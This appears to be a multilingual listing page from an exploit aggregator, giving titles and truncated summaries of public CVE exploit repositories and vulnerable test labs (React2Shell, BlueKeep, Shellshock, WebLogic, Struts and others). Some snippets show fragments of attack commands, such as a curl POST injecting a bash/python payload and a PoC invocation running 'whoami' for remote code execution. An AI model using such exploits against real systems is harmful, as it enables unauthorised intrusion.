cve-2025-55182-test-lab-windows

Test CVE-2025-55182 React2Shell ⚠️ Avviso : contiene una vulnerabilità di esecuzione remota di codice RCE realmente funzionante. 📋 Indice Panoramica Informazioni sulla vulnerabilità Avvio rapido Dimostrazione dell'attacco reale Ambiente di test Regole di difesa WAF Struttura dei file Riferimenti...

vulnerable-mcp-servers-lab

Laboratorio di server MCP vulnerabili Questo repository contiene implementazioni volutamente vulnerabili di server Model Context Protocol MCP sia locali che remoti. Ogni server risiede nella propria cartella e include un README.md dedicato con tutti i dettagli su cosa fa , come eseguirlo e come...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 Local-File-Inclusion-Exploit - CVE-2012-4869 Beschreibung Dieses Skript nutzt eine Local File Inclusion LFI-Schwachstelle in Elastix 2.2.0 aus, die Remote-Codeausführung RCE ermöglicht, indem Befehle über den callmepage.php -Endpunkt eingeschleust werden. Der Exploit basiert auf...

bluekeep

Beschreibung Dieses Skript überprüft mehrere IP-Adressen auf die BlueKeep-Sicherheitslücke CVE-2019-0708, eine kritische Remote Desktop Protocol RDP-Schwachstelle in älteren Versionen von Windows-Betriebssystemen. Die Schwachstelle ermöglicht es Angreifern, ohne Benutzerinteraktion Code auf einem...

s2-067-CVE-2024-53677

s2-067-CVE-2024-53677 s2-067CVE-2024-53677 Zusammenfassung Die Datei-Upload-Logik ist fehlerhaft und ermöglicht einem Angreifer, Pfade mit Traversalen zu ermöglichen - ein ähnliches Problem wie in S2-066 gemeldet. Wer sollte dies lesen Alle Struts-2-Entwickler und -Benutzer Auswirkung der...

CVE-2024-4577

PHP-CGI Schwachstelle zur Remote-Code-Ausführung unter Windows CVE-2024-4577 Einführung PHP ist die Abkürzung für Hypertext Preprocessor Hypertext-Präprozessor und heute eine weit verbreitete Open-Source-Skriptsprache, die besonders für die Webentwicklung und die Einbettung in HTML geeignet ist...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 Ein einfacher Exploit für CVE-2019-2725. Beispielcode: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2021-41773S

Immagini Docker vulnerabili per CVE-2021-41773 path traversal di Apache Questa vulnerabilità si applica solo alla versione 2.4.49 con configurazioni specifiche non predefinite. In determinate situazioni può comportare la lettura di file o l'esecuzione di codice...

CVE-2025-68613

CVE-2025-68613 n8n هي منصة أتمتة سير عمل مفتوحة المصدر. تحتوي الإصدارات ابتداءً من 0.211.0 وما قبل 1.120.4 و1.121.1 و1.122.0 على ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE في نظام تقييم تعبيرات سير العمل الخاص بها. في ظل ظروف معينة، قد يتم تقييم التعبيرات المقدمة من المستخدمين المصادق عليه...

CVE-2025-55182-golang-PoC

CVE-2025-55182 React Server Components RCE - Go PoC ⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए ⚠️ विवरण CVE-2025-55182 जिसे CVE-2025-66478 के नाम से भी जाना जाता है React Server Components Flight प्रोटोकॉल में एक गंभीर Remote Code Execution RCE भेद्यता है। यह टूल सुरक्षा अनुसंधान और अधिकृत पेनेट्रेशन...

CVE-2025-25257

CVE-2025-25257 FortiWeb CVE-2025-25257 Exploit https://pwner.gg/blog/2025-07-10-fortiweb-fabric-rce exp.py: funktionierender/vollständiger Exploit. signed.py: nur ein PoC von Datei lesen/schreiben. Erste Version des Exploits...

-CVE-2014-6271

root@kitploit: / || | | | | | | | / || | | |/ \ / | |/ / \ | || | | | | | | \ | || | | | | | | ' / | | || || | | | || | || . \ |/|| |||||/|| ||/ ||\ CVE-2014-6271 — Shellshock Execução Remota de Código via Injeção de Variáveis de Ambiente do Bash "Uma falha que esteve oculta no Bash por...

CVE-2019-11043

CVE-2019-11043 Execução Remota de Código em PHP-FPM Screencast: https://youtu.be/d6benC5FVZM Visão Geral Este exploit de zero-day em configurações comuns de PHP-FPM foi descoberto durante a competição Realworld CTF em 2019. Uma expressão regular é usada para analisar a URI solicitada, mas...

CVE-2025-1974

CVE-2025-1974 — IngressNightmare ingress-nginx Introdução Este documento apresenta uma pesquisa sobre a vulnerabilidade CVE-2025-1974 , que afeta o componente ingress-nginx validating admission controller para Kubernetes. CVE-2025-1974 é uma vulnerabilidade crítica CVSS 3.1 9.8, consistindo em...

Preproduce-CVE-2019-0232

CVE-2019-0232 - Execução Remota de Código no Servlet CGI do Apache Tomcat Este repositório fornece um ambiente de laboratório baseado em Docker para reproduzir a vulnerabilidade CVE-2019-0232 no Apache Tomcat 9.0.17 no Windows. Visão Geral da Vulnerabilidade A CVE-2019-0232 é uma vulnerabilidade ...

React2Shell_cve-2025-55182

RCE em React Server Components - CVE-2025-55182 Olá! Espero que você esteja tendo um ótimo dia! 😊✨ Sobre o que é isso? As versões 19.0.0 , 19.1.0 , 19.1.1 e 19.2.0 do React Server Components têm um sério problema de segurança. Os pacotes react-server-dom-parcel, react-server-dom-turbopack e...

CVE-2019-19781

CVE-2019-19781 Citrix Netscaler RCE...

CVE-2023-26360-adobe-coldfusion-rce-exploit

Adobe Coldfusion में गंभीर कमजोरियाँ CVE-2023-26359, CVE-2023-26360 और CVE-2023-26359 8 मार्च, 2023 को, Adobe ने Adobe ColdFusion, एक लोकप्रिय वेब एप्लिकेशन विकास प्लेटफ़ॉर्म, में गंभीर कमजोरियों को दूर करने के लिए सुरक्षा अद्यतन जारी किए। ये कमजोरियाँ, जिन्हें अनुचित अभिगम नियंत्रण और असुरक्षित...

CVE-2019-0230-PoC

CVE-2019-0230 Exploit CVE-2019-0230 Questo è l'exploit CVE-2019-0230 : utilizzo python3 cve-2019-230.py esempio: root@kitploit: python3 cve-2019-0230-poc.py pentest.com whoami Testing pentest.com! Command being passed for RCE: whoami 2020/10/22/...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 Un ambiente di laboratorio POC per la RCE di CraftCMS CVE-2024-56145. Descrizione della vulnerabilità Una potenziale vulnerabilità RCE è presente in craftCMS se l'opzione registerargcargv è abilitata in php.ini. Questo è un ambiente di laboratorio POC dove puoi...